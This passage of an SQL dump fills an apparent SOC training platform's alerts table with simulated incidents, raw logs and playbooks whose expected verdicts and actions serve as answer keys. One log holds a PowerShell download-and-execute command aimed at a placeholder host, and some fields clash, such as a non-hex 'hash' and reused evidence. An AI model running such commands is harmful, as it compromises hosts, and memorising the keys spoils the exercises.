system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised administrative account used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious administrative tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(297, 'Manipulation of ATM Withdrawal Limits and SWIFT Gateway', 'high', 'Transaction Monitoring System', 'Attackers have manipulated ATM withdrawal limits and initiated unauthorized SWIFT transactions, leading to substantial financial losses. This step marks the culmination of their heist.', 'Manipulation', 'T1566.001 - Spearphishing Attachment', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"event_id\":\"ATM-TRANS-0004\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"username\":\"jdoe_admin\",\"action\":\"ATM Withdrawal Limit Manipulation\",\"transaction_id\":\"SWIFT-TRANS-8976\",\"file_hash\":\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\",\"affected_account\":\"1234567890\",\"amount\":\"50000\",\"currency\":\"USD\"}', '2025-12-31 15:23:56', '2026-02-27 02:57:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP for financial fraud operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal bank system IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Admin account used during unauthorized transaction manipulations.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used for financial fraud.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.900Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"ATM-TRANS-0004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"ATM Withdrawal Limit Manipulation\\\",\\\"transaction_id\\\":\\\"SWIFT-TRANS-8976\\\",\\\"file_hash\\\":\\\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\\",\\\"affected_account\\\":\\\"1234567890\\\",\\\"amount\\\":\\\"50000\\\",\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.900Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"ATM-TRANS-0004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"ATM Withdrawal Limit Manipulation\\\",\\\"transaction_id\\\":\\\"SWIFT-TRANS-8976\\\",\\\"file_hash\\\":\\\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\\",\\\"affected_account\\\":\\\"1234567890\\\",\\\"amount\\\":\\\"50000\\\",\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.900Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"ATM-TRANS-0004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"ATM Withdrawal Limit Manipulation\\\",\\\"transaction_id\\\":\\\"SWIFT-TRANS-8976\\\",\\\"file_hash\\\":\\\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\\",\\\"affected_account\\\":\\\"1234567890\\\",\\\"amount\\\":\\\"50000\\\",\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.900Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"ATM-TRANS-0004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"ATM Withdrawal Limit Manipulation\\\",\\\"transaction_id\\\":\\\"SWIFT-TRANS-8976\\\",\\\"file_hash\\\":\\\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\\",\\\"affected_account\\\":\\\"1234567890\\\",\\\"amount\\\":\\\"50000\\\",\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.900Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"event_id\\\":\\\"ATM-TRANS-0004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"ATM Withdrawal Limit Manipulation\\\",\\\"transaction_id\\\":\\\"SWIFT-TRANS-8976\\\",\\\"file_hash\\\":\\\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\\",\\\"affected_account\\\":\\\"1234567890\\\",\\\"amount\\\":\\\"50000\\\",\\\"currency\\\":\\\"USD\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(302, 'Suspicious Process Execution Detected', 'high', 'CrowdStrike', 'A suspicious process was executed on a host using a known LOLBin technique. The executed script attempted to connect to a known Command and Control (C2) server.', 'Malware', 'T1218', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T15:24:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation-05\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"domain\":\"malicious-c2.example.com\"}', '2026-01-01 23:58:23', '2026-02-17 22:30:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process used a known LOLBin for execution and attempted to communicate with a malicious C2 server, confirming the malware presence.\"}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(303, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email was received containing a malicious link designed to harvest credentials. The email used a spoofed domain similar to a trusted one.', 'Phishing', 'T1566', 1, 'investigating', 225, '{\"timestamp\":\"2023-10-02T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.45\",\"username\":\"asmith\",\"hostname\":\"email-server\",\"email_sender\":\"admin@trusfed-business.com\",\"url\":\"http://malicious-link.example.com\"}', '2026-01-01 23:41:20', '2026-03-16 03:19:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"admin@trusfed-business.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Email domain spoofing a legitimate business\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing site designed to steal credentials\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was confirmed to be a phishing attempt due to the malicious link and spoofed domain, matching known phishing patterns.\"}', 'Advanced', 'EDR', 1, 0, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious Link Detected\",\"date\":\"2026-02-01T20:32:18.902Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(304, 'Spear Phishing Email Detected', 'medium', 'Email Gateway', 'A spear phishing email from a malicious source, disguised as a communication from a trusted partner, was detected targeting an employee in the finance department. The email contained a malicious attachment and a suspicious link.', 'Phishing', 'T1566.002', 1, 'investigating', 225, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"email_id\":\"1234567890\",\"from\":\"finance.partner@maliciousdomain.com\",\"to\":\"john.doe@company.com\",\"subject\":\"Urgent: Q3 Financial Report\",\"attachment\":\"Q3_Report.docm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://maliciousdomain.com/securelogin\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\"}', '2026-01-02 04:27:59', '2026-03-16 03:07:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"finance.partner@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing source\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious macro detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/securelogin\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Phishing URL targeting credentials\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Blacklist\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.903Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(305, 'Suspicious PowerShell Execution', 'high', 'EDR', 'A PowerShell script was executed on the compromised system. This script is suspected to be used to establish a foothold and download additional malicious payloads. The execution follows a successful phishing attempt that targeted user john.doe.', 'Execution', 'T1059.001', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-02T14:23:45Z\",\"event_id\":4688,\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicioussite.com/payload\')\\\"\",\"user\":\"john.doe\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"203.0.113.45\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious_script.ps1\"}', '2026-01-02 04:27:59', '2026-03-04 01:50:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This hash is associated with a known malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern matches known malicious script naming conventions.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account that was targeted during the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(306, 'Persistence Mechanism Established', 'high', 'Endpoint Logs', 'The attacker has established a persistence mechanism on the compromised system by creating a scheduled task and modifying registry keys. This ensures the malicious software remains active and reinitiates upon system restart.', 'Persistence', 'T1050 - New Service', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"event_type\":\"registry and scheduled task modification\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"affected_user\":\"john.doe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"scheduled_task\":{\"task_name\":\"SystemUpdater\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\taskhost.exe\",\"creation_time\":\"2023-10-12T14:40:00Z\"},\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-01-02 04:27:59', '2026-03-04 01:51:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known threat actor\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal workstation\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple AV engines as malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"taskhost.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Mimics legitimate Windows process\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(307, 'Unauthorized Lateral Movement Detected', 'high', 'Network Logs', 'The attacker used stolen credentials to move laterally across the network, probing for systems hosting geological data repositories. The lateral movement was detected from internal IP 192.168.1.15 to 192.168.1.20 using compromised credentials of user \'j.doe\'.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"1001\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"192.168.1.20\",\"username\":\"j.doe\",\"action\":\"Lateral Movement\",\"result\":\"Success\",\"external_ip\":\"203.0.113.45\",\"file_accessed\":\"\\\\\\\\192.168.1.20\\\\geodata\\\\confidential_report.docx\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-01-02 04:27:59', '2026-03-04 01:53:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Target internal system hosting valuable data.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised credentials used for lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP involved in credential theft.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this file hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(308, 'Data Exfiltration Attempt', 'high', 'Firewall', 'An attempt was detected to transfer sensitive geological data out of the corporate network. The attacker, believed to be APT34, is using encrypted channels to exfiltrate data to a command and control server.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"src_ip\":\"10.1.2.15\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"bytes_sent\":1048576,\"bytes_received\":512,\"filename\":\"geo_data_export.zip\",\"hash\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"username\":\"jdoe\",\"url\":\"https://malicious-c2.com/exfil\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"alert_id\":\"FW-EXFIL-20231015-001\"}', '2026-01-02 04:27:59', '2026-03-04 01:54:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT34 command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious file hash associated with data exfiltration tools\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://malicious-c2.com/exfil\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLhaus\",\"verdict\":\"malicious\",\"details\":\"URL associated with APT34\'s exfiltration operations\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"geo_data_export.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file likely to contain geological data\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Legitimate user account, potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(313, 'Suspicious PowerShell Script Execution Detected', 'high', 'Endpoint', 'A PowerShell script was executed on a critical server with unusual parameters that could be indicative of a malicious payload or reconnaissance activity.', 'Process Execution', 'T1059.001', 1, 'investigating', NULL, '{\"timestamp\":\"2023-10-14T11:35:45Z\",\"hostname\":\"finance-server-03\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File \\\\\\\\192.168.1.50\\\\share\\\\suspicious.ps1\",\"file_hash\":\"b5c0b187fe309af0f4d35982fd961d7e\",\"parent_process\":\"explorer.exe\",\"pid\":4567,\"ppid\":4123,\"integrity_level\":\"High\",\"network_connections\":\"None\",\"additional_info\":{\"script_block_logging\":\"Enabled\",\"module_logging\":\"Enabled\"}}', '2026-01-02 15:31:52', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"152.82.254.41\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 152.82.254.41 reported 141 times for malicious activity. Abuse confidence score: 